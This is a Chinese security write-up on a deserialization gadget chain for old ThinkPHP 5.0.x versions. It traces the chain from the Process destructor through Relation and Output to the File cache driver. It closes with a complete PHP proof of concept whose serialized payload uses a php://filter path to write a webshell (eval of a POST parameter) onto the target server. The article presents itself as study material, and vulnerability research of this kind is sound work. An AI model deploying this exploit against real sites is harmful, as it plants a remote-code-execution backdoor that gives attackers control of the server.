ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106

哈喽~大家好,我是S-TEAM实验室 秋水

前言

背景

日常渗透测试中,ThinkPHP低版本的站点虽然很少,但是总会有的,之前有大佬公开5.0.*的利用链,是适合中高版本的ThinkPHP框架,由于一些代码的改动,导致在某些地方并不能兼容所有的版本。

比如:

  • 在5.0.16版本以下,HasOne类的getRelation的触发点removeWhereField方法未被调用。

  • 在5.0.11版本以下,model类得三目运算符处的出发点不存在。

    图片[1]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 在5.0.4版本以下,触发的位置又有所不同。

本文将对已知反序列化利用链进行分析,并对比新老版本差异,构造属于老版本的利用链。

测试版本

  • ThinkPHP v5.0.0-5.0.3

POC分析

已知利用链

ThinkPHP5.0.x反序列化利用链

Thinkphp5.0反序列化链在Windows下写文件的方法

上面对反序列化进行了分析,并构造出了适合windows和linux的稳定poc

个人认为核心触发点是output类得__call方法,调用block方法去完成文件的写入操作。

尝试去看了下其他的终点,暂未找到更好的利用方式。

经过对比,5.0.24版本的__call方法之后的节点与5.0.0版本的并无差异。

所以需要构造的新的入口点以及中间的跳转节点。

对比差异

原poc链

秉承着代码向下兼容的原则,适用于高版本的不一定适用低版本,但是这个很奇葩,向上也不兼容。

首先来看看原poc链条中其实有两处可以触发output类得__call方法。

第一种

自然是大家都说的三目运算符处,触发的魔术方法,$this->append是可控的,所以name参数是可控的。注意需要满足以下条件

图片[2]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

流程跟踪

  • 定义append未数组,值为getError

    图片[2]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 直接进入else分支

    图片[4]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • this->error设置为HasOne类,modelRelation就是可控的,进入getRelationData方法

    图片[5]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

    图片[6]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 此处判断条件满足,即可进入三目运算,已尝试,可行,poc自行构造,网上的poc有不少是利用的下面的第二种方法触发的

第二种

接上图,他们构造的poc没能完成if语句的判断,最终进入了else分支,如果方法存在,则调用getRelation方法,由于modelRelation参数是可控的,所以可调用任意类的getRelation方法,找到HasOne类的getRelation方法

图片[6]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

差异

在旧版本中,以上两处触发的方式均不可用

如下图,此版本无三目运算符的判断

图片[8]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

getAttr方法种倒是调用了getRelation方法,但是有个神判断,我过不去

图片[9]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

所以,以上两条利用链均不可使用,需要找其他的利用链,大家的入口点都是windows类得析构方法,然后触发__toString方法,此路不通,需要找其他的入口点以及节点,查了查析构方法,还剩三个,挨个看就是了

图片[10]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科


构造利用链

寻找入口点

  • 找到入口点为Process类的析构方法,跟进

  • 调用了stop方法

    图片[10]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

构造中间节点

  • 跟进stop方法

    图片[12]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 此处需要跳过第一处的判断,跟进isRunning方法,很简单

    图片[12]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 第二处的判断可控,进入close方法,跟进

    图片[14]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 此处可直接触发__call方法

    图片[15]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 但是在调用block方法后,由于block需要一个字符型的参数值,而我们没有进行传参,所以会抛出需要参数值的异常

    图片[16]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 所以需要在增加中间节点,找到了这么一处,Relation类得__call方法

    图片[17]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

  • 上面类可控并且参数值可控,算是挺完美的触发点了

  • 继续调用output类得__call方法,即可完成文件写入操作

  • 完整的流程图不在画了


构造POC

测试代码

图片[16]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科

虽然抛出致命错误,但并不影响文件生成

图片[19]-ThinkPHP 5.0 低版本反序列化利用链 – 作者:130421106-安全小百科


POC


  1. <?php
  2. //修改入口类,添加中间Relation类得call方法跳转
  3. namespace think{
  4. use think\model\Relation;
  5. class Process{
  6. private $status = '';
  7. private $processPipes;
  8. private $processInformation;
  9. function __construct(){
  10. $this->processInformation = ['running'=>'1'];
  11. $this->status = 'starte';
  12. $this->processPipes = new Relation();
  13. }
  14. }
  15. }
  16. namespace think\model{
  17. use think\console\Output;
  18. class Relation{
  19. protected $type;
  20. protected $query;
  21. protected $where;
  22. function __construct(){
  23. $this->type = 2;
  24. $this->query = new Output();
  25. $this->where = '1';
  26. }
  27. }
  28. }
  29. namespace think\console{
  30. use think\session\driver\Memcached;
  31. class Output{
  32. private $handle;
  33. protected $styles;
  34. function __construct()
  35. {
  36. $this->styles = ['where'];
  37. $this->handle = new Memcached(); //$handle->think\session\driver\Memcached
  38. }
  39. }
  40. }
  41. namespace think\session\driver {
  42. use think\cache\driver\File;
  43. class Memcached
  44. {
  45. protected $handler;
  46. function __construct()
  47. {
  48. $this->handler = new File(); //$handle->think\cache\driver\File
  49. }
  50. }
  51. }
  52. namespace think\cache\driver {
  53. class File
  54. {
  55. protected $options=null;
  56. protected $tag;
  57. function __construct(){
  58. $this->options=[
  59. 'expire' => 3600,
  60. 'cache_subdir' => false,
  61. 'prefix' => '',
  62. 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
  63. 'data_compress' => false,
  64. ];
  65. $this->tag = 'xxx';
  66. }
  67. }
  68. }
  69. namespace {
  70. $window = new think\Process();
  71. echo str_replace('+', '%20', urlencode(serialize($window)));
  72. //echo base64_encode(serialize($window));
  73. }

END

由于在后续版本中Relation重构,且成为了抽象类,所以此方法无法向上兼容,仅作学习参考

改变其中的某些节点,可覆盖5.0.4-5.0.24版本,如果想研究如何构造反序列化利用链,或者有其他想交流的技术问题,请添加下面的QQ群

QQ群:1047589337

欢迎关注公众号:掌控安全EDU

高质量技术文精彩不断

来源:freebuf.com 2020-10-13 12:45:25 by: 130421106

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论